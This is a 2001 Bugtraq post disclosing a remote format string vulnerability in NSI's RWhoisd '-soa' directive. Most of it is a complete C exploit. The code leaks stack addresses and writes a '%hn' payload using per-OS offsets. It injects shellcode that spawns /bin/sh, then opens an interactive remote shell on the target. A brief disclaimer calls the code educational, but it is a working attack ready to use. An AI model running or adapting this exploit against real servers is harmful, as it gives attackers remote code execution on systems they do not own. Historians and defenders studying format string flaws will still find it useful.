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From: root <root@cow.net>
To: bugtraq@securityfocus.com
Subject: RWhoisd remote format string vulnerability
Date: Thu, 25 Oct 2001 19:23:53 +0200 (IST)
Hello,
there is a serious bug in RWhoisd by NSI on all versions.
it is possible for a user to supply the format string
passed to print_error() simpley by using the "-soa" directive.
the results are obvious, we can write almost anywhere in the
proc's memory thus executing code as the user running rwhoisd.
(usually rwhoisd , but can easily become root if rwhoisd.conf writeable)
/*
17.4.2001
Remote Exploit for versions of
RWhoisd ... (by Network Solutions, Inc. V-1.5.x)
this code exploits a bug in the '-soa' directive
that calls print_error() with a user supplied
format string.
credit to rob who found the h0le
and mad thanks to all the people who helped me
test this code.
these versions are vulnerable on all platforms
not only the ones available here.
you better try more than once , for some reason
if sometimes fails on first attempts.
THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY
have phun, CowPower.
*/
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#define VERSION 2.0
#define MAX(x,y) ((x>y)?x:y)
#define PORT 4321
#define BUFF 251
#define LEN 1024
struct version {
char *name;
int ret;
int ret1;
int str;
};
struct version version[] = {
{ "Linux x86 (execpt Slack 8.x)",-185,-233,-5 } ,
{ "Linux x86 (Slackware 8.x)",56,-40,324 } ,
{ "FreeBSD (version < 4.x)",-189,-237,-5 } ,
{ "OpenBSD, FreeBSD 4.x",56,-40,324 } ,
0
};
/* modified shellcodes who contain no nasty control chars (<=0x20) */
char *evilcode[] = {
"\x31\xc0\x31\xdb\x31\xc9\x43\x41\x41\xb0\x3f\xcd\x80"
"\xeb\x25\x5e\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43"
"\x2c\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh" ,
"same as linux shellcode" ,
"\x31\xc0\x2c\xfe\x50\xfe\xc8\x50\x50\x2c\xa7\xcd\x80"
"\xeb\x2a\x5e\x8d\x5e\xe0\x89\x73\x2b\x31\xd2\x89\x53\x27\x89\x53\x2f"
"\x89\x53\x34\x88\x53\x39\x31\xc0\xb0\x3b\x8d\x4b\x2b\x80\x6b\x38\x30"
"\x80\x6e\xfa\x30\x51\x51\x56\x50\xeb\x48\xe8\xd1\xff\xff\xff/bin/sh"
"xxxxxxxxxxxx" "\x9a" "xxxx" "\x37" "x" ,
"same as freebsd shellcode" ,
} ;
char *shellcode;
unsigned long int ret,mem;
int ver;
void *err(char *);
void *intr(void);
void *timeout(void);
int ok(void);
char *answer(char *,char *,int,int);
char *makeadd(unsigned long int,int,char *);
char *makebuf(int,char *,int);
main(int argc, char **argv) {
char sendln[LEN], recvln[LEN],*ptr;
int i,sockfd, maxfd, bsize;
struct sockaddr_in cli;
struct hostent *hp;
fd_set rset;
fprintf(stderr,"RWhoisd remote exploit v%.1f by Moo0\n",VERSION);
maxfd = (sizeof(version) / sizeof(version[0])) - 2;
if (argc < 3) {
fprintf(stderr,"usage: %s <host> <version number>
\ravailable support:\n",argv[0]);
for (i=0;version[i].name;i++)
fprintf(stderr,"(%d)\t%s\n",i,version[i].name);
exit(-1);
}
for(i=0;argv[2][i];i++) if (!isdigit(argv[2][i]))
err("version not available.\n");
ver = atoi(argv[2]);
if (!(ver <= maxfd)) err("version not available.\n");
signal(SIGINT,(void *)intr);
signal(SIGALRM,(void *)timeout);
evilcode[1] = evilcode[0];
evilcode[3] = evilcode[2];
shellcode = evilcode[ver];
fprintf(stderr,"Target: %s\n\
Operating System: %s\n",argv[1],version[ver].name);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("Socket");
exit(-1); }
if((hp = gethostbyname(argv[1])) == NULL){
printf("Error: %s\n", hstrerror(h_errno));
exit(-1);
}
fputs("Connecting to RWhoisd....",stderr);
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(PORT);
memcpy((char *)&cli.sin_addr, hp->h_addr_list[0], hp->h_length);
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("");
exit(-1);
}
answer(0,recvln,sockfd,0);
for (i=0;i<8;i++) recvln[i] = tolower(recvln[i]);
if(strncmp(recvln,"%rwhois",7))
err("Connected,\nBut its not RWhoisd, Aborting.\n");
fputs("Connected.\n",stderr);
sleep(1);
fputs("Building evil-string:\n",stderr);
strcpy(sendln,"-soa %p\n");
answer(sendln,recvln,sockfd,0);
if (strcmp(recvln,"%error 340 Invalid Authority Area"))
err("Cant read necessary data.\n");
else {
answer(sendln,recvln,sockfd,1);
ptr = (char *)strstr(recvln,"0x") ;
if (!ptr) err("Data doesnt match verison given.\n");
}
mem = strtoul(ptr,(void *)0,16);
ret = ((mem+version[ver].ret)&0xff)>0x20?(mem+version[ver].ret):
(mem+version[ver].ret1);
if (!ok()) err("Impossible Conditions, Aborting.\n");
fprintf(stderr,"Assumed EIP Address: %#x\n",ret);
answer(makebuf(BUFF,recvln,1),recvln,sockfd,1);
ptr = (char *)strstr(recvln,"78787800") ;
if(!ptr) err(0);
bsize = BUFF - (strlen(ptr) / 4) ;
mem += version[ver].str + bsize + 8 + (3*6) + (3*3);
fprintf(stderr,"Assumed shellcode address: %#x\n",mem);
maxfd = ( strlen(recvln) - strlen(ptr) + 6 ) & 0xff ;
makebuf(bsize,sendln,0);
makeadd(mem,maxfd,recvln);
sendln[strlen(sendln)-1] = '\0';
strcat(sendln,recvln);
answer(sendln,recvln,sockfd,1);
ptr = (char *)strstr(recvln,"xxx") ;
if (!ptr) err(0);
*((char *)strstr(ptr,"78787800")+8) = '\0';
i = ((strlen(ptr)) & 0xff) - (mem & 0xff) ;
makebuf(bsize,sendln,1); makeadd(mem,maxfd+i,recvln);
sendln[strlen(sendln)-1] = '\0';
strcat(sendln,recvln);
fputs("Sending evil-string , Waiting for Response....",stderr);
answer(sendln,recvln,sockfd,1);
answer("echo -n \"oink\";\n",recvln,sockfd,0);
if (strcmp(recvln,"oink")) {
answer(0,recvln,sockfd,0);
if (strcmp(recvln,"oink")) err(0); }
fputs("Success!\n",stderr);
strcpy(sendln,"uname -a;\n");
write(sockfd,sendln,strlen(sendln));
sleep(1);
fputs(sendln,stderr);
signal(SIGINT,SIG_IGN);
bzero(sendln, LEN);
FD_ZERO(&rset);
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = MAX(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
fgets(sendln, sizeof(sendln)-2, stdin);
write(sockfd, sendln, strlen(sendln));
bzero(sendln, LEN);
}
if(FD_ISSET(sockfd, &rset)){
bzero(recvln, LEN);
if(
(i = read(sockfd, recvln, sizeof(recvln)))== 0){
printf("hackerz.\n");
exit(0);
}
if(i < 0){
perror("read");
exit(-1);
}
fputs(recvln, stdout);
}
}
}
char *makebuf(int len,char *buf,int real) {
char *buff,*ptr;
unsigned long addr;
int i;
bzero(buff = malloc(len),len);
for (i = 0; i < len-1; i+=2) strcat(buff,"%x");
if (real) addr = ret;
else addr = (mem & 0xff)>0x20?mem:mem+33;
ptr = buff;
*(ptr++) = (addr & 0xff) ;
*(ptr++) = (addr & 0xff00) >> 8 ;
*(ptr++) = (addr & 0xff0000) >> 16 ;
*(ptr++) = (addr & 0xff000000) >> 24 ;
memcpy(ptr,"AAAA",4);
ptr += 4;
i = 3;
while (i--) {
addr++;
*(ptr++) = (addr & 0xff) ;
*(ptr++) = (addr & 0xff00) >> 8 ;
*(ptr++) = (addr & 0xff0000) >> 16 ;
*(ptr++) = (addr & 0xff000000) >> 24 ;
}
sprintf(buf,"-soa xxx%s\n",buff);
free(buff);
return(buf);
}
char *makeadd(unsigned long int mem,int us,char *add) {
char almog[400],sendln[100],*ptr;
int maxfd,goal;
goal = (mem & 0xff);
maxfd = (goal - us)<0?(goal+256-us):(goal-us);
sprintf(add,"%%.%dx%s",maxfd+8,"%hn");
us = goal+ 8;
goal = (mem & 0xff00) >> 8 ;
maxfd = (goal - us)<0?(goal+256-us):(goal-us);
sprintf(add,"%s%%.%dx%s",add,maxfd+8,"%hn");
memset(almog,'\x90',300);
almog[300] = '\0';
us = goal ;
goal = (mem & 0xff0000) >> 16 ;
maxfd = (goal - us)<0?(goal+256-us):(goal-us);
sprintf(sendln,"%%s%%.%ds",maxfd);
if (ver > 1) {
ptr = almog + (maxfd - strlen(shellcode));
memcpy(ptr,shellcode,strlen(shellcode));
}
sprintf(add,sendln,add,almog);
strcat(add,"%hn");
us = goal ;
goal = (mem & 0xff000000) >> 24 ;
maxfd = (goal - us)<0?(goal+256-us):(goal-us);
sprintf(sendln,"%%s%%.%ds",maxfd);
if (ver <= 1) {
ptr = almog + (maxfd - strlen(shellcode));
memcpy(ptr,shellcode,strlen(shellcode));
}
sprintf(add,sendln,add,almog);
strcat(add,"%hn\n");
return(add);
}
char *answer(char *sendln,char *recvln,int sockfd,int extra) {
alarm(15);
if (sendln) write(sockfd,sendln,strlen(sendln));
if (extra) read(sockfd,recvln,LEN) ;
bzero(recvln, LEN);
read(sockfd,recvln,LEN) ;
alarm(0);
return(recvln);
}
void *intr(void) {
fflush(stdout);
fputs("\nInterruption from keyboard...aborting.\n",stderr);
exit(-1);
}
void *timeout(void) {
fputs("Timeout!\n",stderr);
exit(-1);
}
int ok(void) {
if ( ((ret & 0xff) > 0x20)
&& (((ret & 0xff00) >> 8) > 0x20)
&& (((ret & 0xff0000) >> 16) > 0x20)
&& (((ret & 0xff000000) >> 24) > 0x20) ) return(1);
return(0);
}
void *err(char *msg) {
if (msg) fputs(msg,stderr);
else fputs("Failed.\n",stderr);
exit(-1);
}